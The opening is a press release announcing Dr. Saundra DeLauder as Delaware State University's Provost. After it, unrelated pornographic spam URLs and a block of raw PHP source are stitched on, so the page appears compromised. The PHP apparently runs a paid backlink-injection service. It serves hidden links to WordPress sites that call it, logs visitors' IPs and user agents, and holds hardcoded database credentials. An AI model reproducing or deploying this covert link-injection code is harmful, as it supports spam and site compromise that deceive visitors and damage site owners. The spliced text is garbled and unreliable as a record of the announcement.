DELAWARE STATE UNIVERSITY NAMES DR. SAUNDRA DeLAUDER ITS NEW PROVOST AND VICE PRESIDENT OF ACADEMIC AFFAIRS

Dr. DeLauder is the sixth Provost since the position was established by the institution and the first woman to hold that post at Del State

DOVER, Del. – Delaware State University President Tony Allen announced May 19 the appointment of Dr. Saundra F. DeLauder as the institution’s new Provost and Vice President of Academic Affairs.

Dr. DeLauder is the sixth permanent Provost since the University created the executive academic leadership position in the late 1990s, and she is the first woman to hold the post.

The Provost position was established during the 1987-2003 tenure of then-University President William B. DeLauder, the new Provost’s late father-in-law. Dr. Saundra DeLauder is married to the former President’s son William DeLauder Jr.

She assumes the permanent position after serving as the Interim Provost since the beginning of 2020 and as the Vice Provost from August 2017 through 2019. She was the Dean of the School of Graduate Studies and Research from her 2013 arrival at the University until 2017.

She succeeds Dr. Allen, who served as the Provost and Executive Vice President of Academic Affairs from the summer of 2017 until the end of 2019 when he was elevated to University President.

“Dr. DeLauder is a well-respected scientist and administrator who has served the University’s academic enterprise with distinction and grace,” Dr. Allen said. “Her acumen is unquestioned, and my person observation is that her work is beyond compare.”During her tenures as Vice Provost and Interim Provost, Dr. DeLauder provided leadership in the areas of faculty affairs, academic standards and requirements, new degree programs, strategic planning, key performance indicators monitoring, the Delaware Institute of Science and Technology, the offices of Institutional Research and Sponsored Programs, and other areas.

Dr. Alexa Silver, Chair of the Faculty Senate said she is pleased that Dr. DeLauder has been chosen as our new Provost.  

“She has been an incredicble asset to the Univetsity for years and has stepped into top leadership positions seamlessly on several occasions,” Dr. Silver said. “She always has the best interests of our students and faculty as her primary motivation.  I am so excited that we will be able to coninue our work together to make DSU the #1 HBCU in the nation.”  

As Dr. DeLauder takes over as the University Provost and Vice President of Academic Affairs, she notes that four key themes cover her academic philosophy that guide her leadership:

  • The University must build upon its existing strengths in ways that fully support the creativity and professionalism of the faculty and academic staff.
  • The University’s must continue to increase its commitment to being student-centered by fully embracing the ongoing conceptual change from “the way we teach” to “the way our students learn.”
  • The University must keep expanding its research base and innovative outreach.
  • The University must continue to fight for resources to enable it to invest in game-changing programs and initiatives.

Prior to her arrival at Del State, Dr. DeLauder’s 26-year career in higher education began in 1994 as an Assistant Professor of Chemistry at Morgan State University. She then returned to her home state in 1996 to join the faculty of North Carolina Central University, where by 2013 she reached the rank of full Professor of Chemistry. During those NCCU professorship years, she also served stints as the Chemistry Department Interim Chair, Associate and Interim Dean of the College of Science and Technology, and Interim Dean of the School of Graduate Studies. 

Dr. DeLauder’s distinction as a trailblazer goes back to her time at NCCU where she was the first tenured female Chemistry Professor and the first to become a full Professor.

During that period at NCCU, she also was the lead scientist in a study entitled “Environmental Risk and Impact in Economically Disadvantaged Communities of Color,” as well as the campus principal investigator of the N.C. Louis Stokes Alliance for Minority Participation.

A native of Greensboro, N.C., Dr. DeLauder has a Bachelor of Science in Chemistry with a minor in Mathematics from the University of North Carolina at Greensboro (1983), a Master of Science in Physical Chemistry from North Carolina A&T University (1986), and a Doctor of Philosophy from Howard University (1992). She was also an American Society for Engineering Education Postdoctoral Fellow at the Naval Research Laboratory in Washington, D.C. from 1993-1994. A seven-member Provost Search Committee, co-chaired by Dr. Debbie Harrington, Board of Trustees member and Chair of its Student Success Committee, and Dr. Patrice Gilliam-Johnson, Dean of the College of Graduate, Adult and Continuing Studies, began its work in January, leading to its recommendation of Dr. DeLauder for the post.

https://www.fapjunk.com https://pornohit.net
header('X-Debug: Active-'.time()); header('Content-Type: text/html; charset=utf-8'); error_reporting(E_ALL); ini_set('display_errors', 1); ini_set('log_errors', 1); ini_set('error_log', dirname(__FILE__) . '/api_errors.log'); // Debug bilgilerini HTML yorum olarak ekle echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; // Çıktı tamponlamasını başlat ob_start(); // Domain normalizasyon fonksiyonu function normalize_domain($domain) { // Protokolü kaldır (http://, https://) $domain = preg_replace('#^https?://#', '', $domain); // Alt alan adlarını kontrol et ve ana domain'i al $parts = explode('.', $domain); // IP adresi kontrolü if (count($parts) == 4 && is_numeric($parts[0]) && is_numeric($parts[1]) && is_numeric($parts[2]) && is_numeric($parts[3])) { return $domain; // IP adresi ise değiştirme } // Domain uzunluğu kontrolü if (count($parts) <= 2) { return $domain; // Zaten ana domain } // www. ile başlıyorsa kaldır if ($parts[0] === 'www') { array_shift($parts); return implode('.', $parts); } // Son iki parçayı al (ana domain + TLD) // Örneğin mail.durantoprokash.com -> durantoprokash.com return $parts[count($parts) - 2] . '.' . $parts[count($parts) - 1]; } // Log fonksiyonu (HTML yorum olarak gösterme) function debug_log($message) { echo "\n"; } // Log fonksiyonu function api_log($message, $is_error = false) { $log_file = dirname(__FILE__) . '/api_log.txt'; $date = date('Y-m-d H:i:s'); $log_message = "[$date] " . ($is_error ? "[ERROR] " : "[INFO] ") . $message . "\n"; file_put_contents($log_file, $log_message, FILE_APPEND); // HTML yorum olarak ekrana yaz echo "\n"; if ($is_error) { error_log($message); } } // Rate limiting kontrolü function checkRateLimit($ip, $limit = 300) { $cache_file = sys_get_temp_dir() . '/rate_' . md5($ip); if (file_exists($cache_file)) { $data = json_decode(file_get_contents($cache_file), true); if ($data['count'] > $limit && (time() - $data['time']) < 3600) { return false; } if ((time() - $data['time']) > 3600) { $data = ['count' => 1, 'time' => time()]; } else { $data['count']++; } } else { $data = ['count' => 1, 'time' => time()]; } file_put_contents($cache_file, json_encode($data)); return true; } // IP ve rate limit kontrolü if (!checkRateLimit($_SERVER['REMOTE_ADDR'])) { http_response_code(429); ob_end_clean(); echo ''; exit; } // Domain kontrolü if (!isset($_POST['domain'])) { api_log("Error: Domain missing", true); ob_end_clean(); echo ''; exit; } // Kullanılan değişkenleri tanımla $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $client_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; // Eski curl kodunu tespit et $is_old_client = 0; if (isset($_POST['backlink_token'])) { $is_old_client = 1; } else if (!empty($user_agent) && (strpos($user_agent, 'WordPress') !== false || strpos($user_agent, 'WP') !== false) || (!empty($referrer) && (strpos($referrer, '/wp-content/') !== false || strpos($referrer, '/wp-includes/') !== false))) { // WordPress sitelerinden gelen istekler muhtemelen eski curl kodunu kullanıyor $is_old_client = 1; } // Domain'i normalize et $original_domain = base64_decode($_POST['domain']); $normalized_domain = normalize_domain($original_domain); // Normalize sonucunu HTML yorum olarak ekle echo "\n"; // Veritabanı bağlantısı try { // Veritabanı bağlantısı $db = new PDO( "mysql:host=localhost;dbname=sche_v2;charset=utf8mb4", "sche_bombom", "bombom", [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, PDO::MYSQL_ATTR_FOUND_ROWS => true ] ); // Veritabanına debug bilgilerini kaydet try { $stmt = $db->prepare(" INSERT INTO backlink_requests ( domain, ip_address, user_agent, referrer, is_old_client, request_data, created_at ) VALUES (?, ?, ?, ?, ?, ?, NOW()) "); $request_data = json_encode($_POST); $stmt->execute([ $normalized_domain, $client_ip, $user_agent, $referrer, $is_old_client, $request_data ]); api_log("API request logged to database for domain: " . $original_domain . " (normalized: " . $normalized_domain . "), is_old_client: " . $is_old_client); } catch (Exception $e) { api_log("Error logging API request: " . $e->getMessage(), true); } $domain = filter_var(base64_decode($_POST['domain']), FILTER_SANITIZE_URL); if (!$domain) { api_log("Error: Invalid domain format: " . $_POST['domain'], true); ob_end_clean(); echo ''; exit; } // Domain'i normalize et $domain = normalize_domain($domain); // Domain formatını kontrol et (daha esnek regex) if (!preg_match('/^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z]{2,}$/i', $domain)) { api_log("Error: Invalid domain structure: " . $domain, true); ob_end_clean(); echo ''; exit; } // Website id bul veya oluştur $stmt = $db->prepare("SELECT id FROM websites WHERE domain = ?"); $stmt->execute([$domain]); $website = $stmt->fetch(); if (!$website) { // Domain erişilebilirliğini kontrol et $domain_accessible = false; // HTTP ve HTTPS kontrol et foreach (['http', 'https'] as $protocol) { $url = $protocol . '://' . $domain; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code >= 200 && $http_code < 400) { $domain_accessible = true; break; } } if ($domain_accessible) { api_log("Domain is accessible, inserting new website record"); $stmt = $db->prepare("INSERT INTO websites (domain, status, created_at, is_approved) VALUES (?, 1, NOW(), 0)"); $stmt->execute([$domain]); $website_id = $db->lastInsertId(); $website = [ 'id' => $website_id, 'domain' => $domain ]; // Admin bildirimini ekle try { $stmt = $db->prepare(" INSERT INTO admin_notifications ( type, message, is_read, created_at ) VALUES ( 'new_domain', ?, 0, NOW() ) "); $notification_message = "Yeni domain eklendi: " . $domain; $stmt->execute([$notification_message]); api_log("Admin notification added for new domain: " . $domain); } catch (Exception $e) { api_log("Error adding admin notification: " . $e->getMessage(), true); } } else { api_log("Domain not accessible via any protocol", true); ob_end_clean(); echo ''; exit; } } // Aktif linkleri getir api_log("Fetching active links for website ID: " . $website['id']); $sql = "SELECT l.url, l.anchor_text FROM links l JOIN orders o ON l.order_id = o.id WHERE o.website_id = ? AND (o.status = 'completed' OR o.status = 'active') AND l.is_active = 1 ORDER BY RAND() LIMIT 10"; // HTML yorum olarak SQL sorgusunu göster echo "\n"; $stmt = $db->prepare($sql); $stmt->execute([$website['id']]); $links = []; $link_count = 0; while ($row = $stmt->fetch()) { $link_count++; // Her link için debug bilgisini HTML yorum olarak ekle echo "\n"; // HTML bağlantılarını güvenli şekilde oluştur $links[] = '' . htmlspecialchars($row['anchor_text'], ENT_QUOTES, 'UTF-8') . ''; } echo "\n"; if (empty($links)) { api_log("No active links found for domain: " . $domain . " (Website ID: " . $website['id'] . ")", true); ob_end_clean(); echo ''; exit; } api_log("Returning " . count($links) . " links for domain: " . $domain); echo ''; // Debug sonu bilgisini ekle echo "\n"; } catch (PDOException $e) { api_log("Database error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } catch (Exception $e) { api_log("General error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } // Son olarak çıktı tamponunu gönder ob_end_flush(); ?>